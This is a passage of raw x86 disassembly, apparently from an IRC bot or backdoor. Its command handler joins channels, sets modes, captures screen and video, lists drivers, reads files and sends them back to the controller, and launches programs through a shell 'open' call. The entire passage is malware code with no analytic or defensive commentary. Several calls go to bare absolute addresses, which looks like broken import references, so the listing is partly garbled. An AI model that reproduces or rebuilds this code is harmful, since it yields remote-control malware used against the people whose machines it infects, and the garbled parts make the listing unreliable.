		push	0Fh
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_2094],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2218]
		push	ebx
		push	eax
		push	offset byte_4143CB
		push	ebx
		push	ebx
		call	near ptr 2670579h
		nop
		mov	ecx, [ebp+var_2094]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E574[ecx], eax
		jz	short loc_40884B


loc_408839:				; CODE XREF: sub_401ACD+6D7Cj
		cmp	[ebp+var_2088],	ebx
		jnz	short loc_408866
		push	32h
		nop
		call	near ptr 2670535h
		jmp	short loc_408839
; ---------------------------------------------------------------------------


loc_40884B:				; CODE XREF: sub_401ACD+6D6Aj
		nop
		call	near ptr 2670E94h
		push	eax
		push	offset unk_42A4F8


loc_408857:				; CODE XREF: sub_401ACD+6E89j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_408866:				; CODE XREF: sub_401ACD+6D72j
					; sub_401ACD+6E6Dj
		cmp	[ebp+var_8], ebx
		jnz	loc_409630
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	esi
		jmp	loc_409628
; ---------------------------------------------------------------------------


loc_408886:				; CODE XREF: sub_401ACD+4A13j
					; sub_401ACD+4A2Aj
		push	7Fh
		lea	eax, [ebp+var_23A8]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	7Fh
		lea	eax, [ebp+var_2328]
		push	edi
		push	eax
		call	sub_41B5F0
		push	7Fh
		lea	eax, [ebp+var_22A8]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 24h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2224],	eax
		mov	eax, [ebp+var_8]
		push	edi
		push	[ebp+arg_10]
		mov	[ebp+var_2220],	eax
		lea	eax, [ebp+var_2C4]
		mov	[ebp+var_23AC],	esi
		push	offset dword_42A4CC
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	11h
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_2228],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_23AC]
		push	ebx
		push	eax
		push	offset byte_413B77
		push	ebx
		push	ebx
		call	near ptr 2670579h
		nop
		mov	ecx, [ebp+var_2228]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E574[ecx], eax
		jz	short loc_40894A


loc_408934:				; CODE XREF: sub_401ACD+6E7Bj
		cmp	[ebp+var_221C],	ebx
		jnz	loc_408866
		push	32h
		nop
		call	near ptr 2670535h
		jmp	short loc_408934
; ---------------------------------------------------------------------------


loc_40894A:				; CODE XREF: sub_401ACD+6E65j
		call	near ptr 2670E94h
		nop
		push	eax
		push	offset dword_42A490
		jmp	loc_408857
; ---------------------------------------------------------------------------


loc_40895B:				; CODE XREF: sub_401ACD+49E5j
					; sub_401ACD+49FCj
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A488
		push	eax
		call	sub_41B886
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 10h


loc_408978:				; CODE XREF: sub_401ACD+6F16j
		test	eax, eax
		jle	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854


loc_408994:				; CODE XREF: sub_401ACD+7A55j
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_42A480
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43E56C[eax]
		call	sub_409A2C
		jmp	loc_404933
; ---------------------------------------------------------------------------


loc_4089BF:				; CODE XREF: sub_401ACD+49B7j
					; sub_401ACD+49CEj
		push	[ebp+esi+var_84]
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset dword_42A474
		push	eax
		call	sub_41B886
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 14h
		jmp	short loc_408978
; ---------------------------------------------------------------------------


loc_4089E5:				; CODE XREF: sub_401ACD+4989j
					; sub_401ACD+49A0j
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BB20
		push	eax
		call	sub_41B886
		mov	esi, [ebp+arg_10]
		push	esi
		call	sub_41B779
		add	esp, 10h
		test	eax, eax
		jle	loc_409854
		push	esi
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_42A480
		push	esi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43E56C[eax]
		call	sub_409A2C
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset dword_42A458


loc_408A4B:				; CODE XREF: sub_401ACD+7009j
					; sub_401ACD+7078j ...
		call	sub_415220
		jmp	loc_404933
; ---------------------------------------------------------------------------


loc_408A55:				; CODE XREF: sub_401ACD+495Bj
					; sub_401ACD+4972j
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_408A84
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A450
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_408A84:				; CODE XREF: sub_401ACD+6FA0j
		mov	edi, [ebp+arg_10]
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409854
		push	edi
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_42A480
		push	edi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43E56C[eax]
		call	sub_409A2C
		add	esp, 0Ch
		push	esi
		push	edi
		push	offset dword_42A434
		jmp	loc_408A4B
; ---------------------------------------------------------------------------


loc_408ADB:				; CODE XREF: sub_401ACD+492Dj
					; sub_401ACD+4944j
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409854
		mov	edi, [ebp+arg_10]
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409854
		push	edi
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		push	esi
		push	offset dword_42A480
		push	edi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43E56C[eax]
		call	sub_409A2C
		add	esp, 0Ch
		push	esi
		push	edi
		push	offset dword_42A418
		jmp	loc_408A4B
; ---------------------------------------------------------------------------


loc_408B4A:				; CODE XREF: sub_401ACD+48FFj
					; sub_401ACD+4916j
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409854
		push	esi
		push	offset aModeS	; "MODE	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	esi
		push	offset unk_42A3F0
		jmp	loc_40984D
; ---------------------------------------------------------------------------


loc_408B86:				; CODE XREF: sub_401ACD+48D1j
					; sub_401ACD+48E8j
		push	[ebp+var_8C]
		push	offset dword_42CFF4
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401E94
		push	edi
		push	offset dword_42A3E4
		push	[ebp+arg_4]
		call	sub_409A2C
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 3E8h
		add	esp, 10h
		push	eax
		call	near ptr 2670535h
		nop
		push	[ebp+esi+var_84]
		push	edi
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		push	offset dword_42A3D0
		call	sub_4151AC
		jmp	loc_40351F
; ---------------------------------------------------------------------------


loc_408BEA:				; CODE XREF: sub_401ACD+48A3j
					; sub_401ACD+48BAj
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		call	sub_41AFE0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	edi
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41B900
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_409854
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42AB04
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 20h
		push	esi
		push	[ebp+arg_10]
		push	offset unk_42A3B4
		jmp	loc_408A4B
; ---------------------------------------------------------------------------


loc_408C57:				; CODE XREF: sub_401ACD+4875j
					; sub_401ACD+488Cj
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		call	sub_41AFE0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	edi
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41B900
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_409854
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_10]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h
		push	esi
		push	[ebp+arg_10]
		push	offset unk_42A394
		jmp	loc_408A4B
; ---------------------------------------------------------------------------


loc_408CAC:				; CODE XREF: sub_401ACD+4847j
					; sub_401ACD+485Ej
		cmp	[ebp+var_C], ebx
		jz	loc_401E94
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_401E94
		push	eax
		push	[ebp+arg_10]
		call	sub_4150B4
		pop	ecx
		pop	ecx
		push	[ebp+arg_10]
		push	offset unk_42A374


loc_408CDB:				; CODE XREF: sub_401ACD+5852j
					; sub_401ACD+7B2Aj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_40960F
; ---------------------------------------------------------------------------


loc_408CEF:				; CODE XREF: sub_401ACD+4819j
					; sub_401ACD+4830j
		push	edi
		push	[ebp+arg_10]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4184E1
		jmp	loc_4040FC
; ---------------------------------------------------------------------------


loc_408D09:				; CODE XREF: sub_401ACD+47DBj
					; sub_401ACD+47F0j
		push	[ebp+arg_10]
		push	[ebp+arg_1C]
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409854
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jz	loc_408DB1
		push	esi
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_408D99
		push	esi
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_88]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_42A5C8
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		add	esp, 24h
		lea	eax, [ebp+var_2C4]
		push	esi
		push	[ebp+arg_10]
		push	offset unk_42A34C
		push	eax
		call	sub_41B886
		add	esp, 10h
		inc	[ebp+arg_24]
		jmp	loc_40877A
; ---------------------------------------------------------------------------


loc_408D99:				; CODE XREF: sub_401ACD+726Fj
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A31C
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_40877A
; ---------------------------------------------------------------------------


loc_408DB1:				; CODE XREF: sub_401ACD+725Aj
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_41ACF6
		add	esp, 0Ch
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_10]
		push	offset dword_42A300
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 10h
		jmp	loc_40877A
; ---------------------------------------------------------------------------


loc_408DFD:				; CODE XREF: sub_401ACD+47B1j
					; sub_401ACD+47C6j
		push	offset aScreen	; "screen"
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408E58
		mov	edi, [ebp+esi+var_88]
		cmp	edi, ebx
		jz	short loc_408E45
		push	edi
		call	sub_4153BC
		cmp	eax, 1
		pop	ecx
		jnz	short loc_408E3E
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A2CC
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	short loc_408E58
; ---------------------------------------------------------------------------


loc_408E3E:				; CODE XREF: sub_401ACD+7358j
		push	offset unk_42A29C
		jmp	short loc_408E4A
; ---------------------------------------------------------------------------


loc_408E45:				; CODE XREF: sub_401ACD+734Cj
		push	offset unk_42A260


loc_408E4A:				; CODE XREF: sub_401ACD+7376j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_408E58:				; CODE XREF: sub_401ACD+7341j
					; sub_401ACD+736Fj
		push	offset aDrivers	; "drivers"
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408EE5
		xor	edi, edi


loc_408E6D:				; CODE XREF: sub_401ACD+7403j
		lea	eax, [ebp+var_53F8]
		push	1FFh
		push	eax
		lea	eax, [ebp+var_4EF0]
		push	0FFh
		push	eax
		push	edi
		call	dword_4CB654
		test	eax, eax
		jz	short loc_408ECC
		lea	eax, [ebp+var_53F8]
		push	eax
		lea	eax, [ebp+var_4EF0]
		push	eax
		push	edi
		lea	eax, [ebp+var_5D88]
		push	offset unk_42A230
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_5D88]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 28h


loc_408ECC:				; CODE XREF: sub_401ACD+73C1j
		inc	edi
		cmp	edi, 0Ah
		jl	short loc_408E6D
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A208
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_408EE5:				; CODE XREF: sub_401ACD+739Cj
		push	offset aFrame	; "frame"
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_408F86
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_408F73
		cmp	[ebp+esi+var_84], ebx
		jz	short loc_408F73
		mov	edi, [ebp+esi+var_80]
		cmp	edi, ebx
		jz	short loc_408F73
		mov	eax, [ebp+esi+var_7C]
		cmp	eax, ebx
		jz	short loc_408F73
		push	eax
		call	sub_41B779
		pop	ecx
		push	eax
		push	edi
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+esi+var_84]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+esi+var_88]
		call	sub_4155F7
		add	esp, 10h
		test	eax, eax
		jnz	short loc_408F6C
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A1D4
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	short loc_408F86
; ---------------------------------------------------------------------------


loc_408F6C:				; CODE XREF: sub_401ACD+7480j
		push	offset unk_42A1A0
		jmp	short loc_408F78
; ---------------------------------------------------------------------------


loc_408F73:				; CODE XREF: sub_401ACD+7436j
					; sub_401ACD+743Fj ...
		push	offset unk_42A168


loc_408F78:				; CODE XREF: sub_401ACD+74A4j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_408F86:				; CODE XREF: sub_401ACD+7429j
					; sub_401ACD+749Dj
		push	offset aVideo	; "video"
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_408759
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		mov	[ebp+arg_1C], eax
		jz	short loc_40901E
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_40901E
		mov	eax, [ebp+esi+var_80]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	short loc_40901E
		mov	edi, [ebp+esi+var_7C]
		cmp	edi, ebx
		jz	short loc_40901E
		mov	esi, [ebp+esi+var_78]
		cmp	esi, ebx
		jz	short loc_40901E
		push	esi
		call	sub_41B779
		pop	ecx
		push	eax
		push	edi
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+arg_18]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+arg_1C]
		call	sub_4157F0
		add	esp, 14h
		test	eax, eax
		jnz	short loc_409014
		push	[ebp+arg_1C]
		push	offset unk_42A134
		jmp	loc_40874A
; ---------------------------------------------------------------------------


loc_409014:				; CODE XREF: sub_401ACD+7538j
		push	offset unk_42A0F4
		jmp	loc_4090E2
; ---------------------------------------------------------------------------


loc_40901E:				; CODE XREF: sub_401ACD+74DCj
					; sub_401ACD+74EAj ...
		push	offset unk_42A0B4
		jmp	loc_4090E2
; ---------------------------------------------------------------------------


loc_409028:				; CODE XREF: sub_401ACD+4041j
					; sub_401ACD+4056j
		push	offset aR	; "r"
		push	[ebp+arg_10]
		call	sub_41B4C2
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	short loc_409098
		mov	esi, 200h
		push	edi
		lea	eax, [ebp+var_2C4]
		push	esi
		push	eax
		call	sub_41BB4F
		add	esp, 0Ch


loc_409053:				; CODE XREF: sub_401ACD+75B5j
		test	eax, eax
		jz	short loc_409084
		push	1
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		push	edi
		lea	eax, [ebp+var_2C4]
		push	esi
		push	eax
		call	sub_41BB4F
		add	esp, 20h
		jmp	short loc_409053
; ---------------------------------------------------------------------------


loc_409084:				; CODE XREF: sub_401ACD+7588j
		push	edi
		call	sub_41B05B
		pop	ecx
		push	[ebp+arg_10]
		push	offset unk_42A090
		jmp	loc_409226
; ---------------------------------------------------------------------------


loc_409098:				; CODE XREF: sub_401ACD+756Ej
		push	[ebp+arg_10]
		push	offset unk_42A06C
		jmp	loc_406CCF
; ---------------------------------------------------------------------------


loc_4090A5:				; CODE XREF: sub_401ACD+4017j
					; sub_401ACD+402Cj
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409854
		push	offset asc_42A068 ; "\n"
		push	esi
		call	sub_41BEC0
		push	esi
		call	sub_419A50
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4090F5
		push	offset unk_42A03C


loc_4090E2:				; CODE XREF: sub_401ACD+754Cj
					; sub_401ACD+7556j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_408759
; ---------------------------------------------------------------------------


loc_4090F5:				; CODE XREF: sub_401ACD+760Ej
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A024
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_40877A
; ---------------------------------------------------------------------------


loc_40910F:				; CODE XREF: sub_401ACD+3FEDj
					; sub_401ACD+4002j
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_409854
		push	eax
		call	sub_418211
		test	eax, eax
		pop	ecx
		jnz	short loc_40913F
		push	offset unk_42A004
		jmp	short loc_4090E2
; ---------------------------------------------------------------------------


loc_40913F:				; CODE XREF: sub_401ACD+7669j
		push	offset dword_429FE8
		jmp	short loc_4090E2
; ---------------------------------------------------------------------------


loc_409146:				; CODE XREF: sub_401ACD+3FC3j
					; sub_401ACD+3FD8j
		push	7Fh
		lea	eax, [ebp+var_2080]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		mov	esi, [ebp+esi+var_88]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_409177
		push	7Fh
		lea	eax, [ebp+var_2000]
		push	esi
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_409177:				; CODE XREF: sub_401ACD+7696j
		push	7Fh
		lea	eax, [ebp+var_1F80]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_2084],	eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_10]
		mov	[ebp+var_1EFC],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1EF8],	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_429FD0
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ch
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	[ebp+var_1F00],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2084]
		push	ebx
		push	eax
		push	offset sub_41ADB5
		push	ebx
		push	ebx
		call	near ptr 2670579h
		nop
		mov	ecx, [ebp+var_1F00]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E574[ecx], eax
		jz	short loc_40921A


loc_409204:				; CODE XREF: sub_401ACD+774Bj
		cmp	[ebp+var_1EF4],	ebx
		jnz	loc_406CFF
		push	32h
		nop
		call	near ptr 2670535h
		jmp	short loc_409204
; ---------------------------------------------------------------------------


loc_40921A:				; CODE XREF: sub_401ACD+7735j
		nop
		call	near ptr 2670E94h
		push	eax
		push	offset unk_429F90


loc_409226:				; CODE XREF: sub_401ACD+29CEj
					; sub_401ACD+75C6j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_406CFF
; ---------------------------------------------------------------------------


loc_40923A:				; CODE XREF: sub_401ACD+3F99j
					; sub_401ACD+3FAEj
		push	ebx
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	[ebp+arg_10]
		call	sub_40F96A
		add	esp, 10h
		push	[ebp+arg_10]
		push	offset dword_429F78
		jmp	loc_40984D
; ---------------------------------------------------------------------------


loc_40925C:				; CODE XREF: sub_401ACD+3F6Fj
					; sub_401ACD+3F84j
		push	14h
		lea	eax, [ebp+var_1D48]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_1D34]
		push	[ebp+arg_10]
		push	offset aS_2	; "%s"
		push	eax
		call	sub_41B886
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_1D50],	eax
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_1C30]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1BA8],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1BA4],	eax
		lea	eax, [ebp+var_1C30]
		push	eax
		lea	eax, [ebp+var_1D34]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_429F54
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ah
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_1BAC],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1D50]
		push	ebx
		push	eax
		push	offset loc_415E1A
		push	ebx
		push	ebx
		call	near ptr 2670579h
		nop
		mov	ecx, [ebp+var_1BAC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E574[ecx], eax
		jz	loc_4023E6


loc_409325:				; CODE XREF: sub_401ACD+786Cj
		cmp	[ebp+var_1BA0],	ebx
		jnz	loc_4083BC
		push	32h
		call	near ptr 2670535h
		nop
		jmp	short loc_409325
; ---------------------------------------------------------------------------


loc_40933B:				; CODE XREF: sub_401ACD+3F45j
					; sub_401ACD+3F5Aj
		push	[ebp+arg_10]
		nop
		call	near ptr 26706F7h
		test	eax, eax
		jz	short loc_409366
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C4]
		push	offset dword_429F38
		push	200h
		push	eax
		call	sub_41B980
		jmp	loc_409444
; ---------------------------------------------------------------------------


loc_409366:				; CODE XREF: sub_401ACD+7879j
		push	offset dword_42A740
		call	sub_41814C
		pop	ecx
		push	eax
		jmp	loc_403F47
; ---------------------------------------------------------------------------


loc_409377:				; CODE XREF: sub_401ACD+3F1Bj
					; sub_401ACD+3F30j
		push	[ebp+arg_10]
		call	sub_41B779
		push	eax
		call	sub_4199C9
		pop	ecx
		pop	ecx
		push	1
		pop	esi
		push	[ebp+arg_10]
		cmp	eax, esi
		jnz	short loc_409398
		push	offset unk_429F14
		jmp	short loc_40939D
; ---------------------------------------------------------------------------


loc_409398:				; CODE XREF: sub_401ACD+78C2j
		push	offset unk_429EE4


loc_40939D:				; CODE XREF: sub_401ACD+78C9j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	loc_406D02
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h
		jmp	loc_406D02
; ---------------------------------------------------------------------------


loc_4093D6:				; CODE XREF: sub_401ACD+3EF1j
					; sub_401ACD+3F06j
		push	ebx
		push	ebx
		push	[ebp+arg_10]
		push	[ebp+var_4]
		push	ebx
		push	[ebp+arg_4]
		call	sub_4196BC
		add	esp, 18h
		cmp	eax, 1
		push	[ebp+arg_10]
		jnz	short loc_4093FC
		push	offset unk_429EC4
		jmp	loc_406CCF
; ---------------------------------------------------------------------------


loc_4093FC:				; CODE XREF: sub_401ACD+7923j
		push	offset unk_429E94
		jmp	loc_406CCF
; ---------------------------------------------------------------------------


loc_409406:				; CODE XREF: sub_401ACD+3EC7j
					; sub_401ACD+3EDCj
		mov	esi, [ebp+arg_10]
		push	esi
		call	dword_4CB664
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_2D8], eax
		jz	short loc_40944C
		push	2
		lea	eax, [ebp+var_2D8]
		push	4
		push	eax
		call	dword_4CB5DC
		cmp	eax, ebx
		jz	short loc_409467
		push	dword ptr [eax]


loc_409432:				; CODE XREF: sub_401ACD+7998j
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset unk_429E74
		push	eax
		call	sub_41B886


loc_409444:				; CODE XREF: sub_401ACD+7894j
		add	esp, 10h
		jmp	loc_406CDE
; ---------------------------------------------------------------------------


loc_40944C:				; CODE XREF: sub_401ACD+794Cj
		push	esi
		call	dword_4CB6A8
		cmp	eax, ebx
		jz	short loc_409467
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		push	dword ptr [eax]
		call	dword_4CB6B0
		push	eax
		jmp	short loc_409432
; ---------------------------------------------------------------------------


loc_409467:				; CODE XREF: sub_401ACD+7961j
					; sub_401ACD+7988j
		push	offset unk_429E4C
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_409471:				; CODE XREF: sub_401ACD+3E9Dj
					; sub_401ACD+3EB2j
		push	7Fh
		push	[ebp+arg_10]
		push	[ebp+arg_14]
		call	sub_41B5F0
		add	esp, 0Ch
		push	[ebp+arg_10]
		push	offset unk_429E24
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_40948E:				; CODE XREF: sub_401ACD+3E73j
					; sub_401ACD+3E88j
		push	5
		push	ebx
		push	ebx
		push	[ebp+arg_10]
		push	offset aOpen	; "open"
		push	ebx
		call	dword_4CB590
		push	[ebp+arg_10]
		test	eax, eax
		jz	short loc_4094B2
		push	offset unk_429E04
		jmp	loc_406CCF
; ---------------------------------------------------------------------------


loc_4094B2:				; CODE XREF: sub_401ACD+79D9j
		push	offset unk_429DE0
		jmp	loc_406CCF
; ---------------------------------------------------------------------------


loc_4094BC:				; CODE XREF: sub_401ACD+3E49j
					; sub_401ACD+3E5Ej
		mov	eax, [ebp+arg_10]
		mov	cl, [eax]
		mov	byte_429094, cl
		movsx	eax, byte ptr [eax]
		push	eax
		push	offset unk_429DB8
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_4094D5:				; CODE XREF: sub_401ACD+3E1Fj
					; sub_401ACD+3E34j
		push	[ebp+arg_10]
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		call	sub_40B08D
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BB20
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_408994
; ---------------------------------------------------------------------------


loc_409527:				; CODE XREF: sub_401ACD+3DF5j
					; sub_401ACD+3E0Aj
		mov	esi, [ebp+arg_10]
		push	esi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_401E94
		push	esi
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
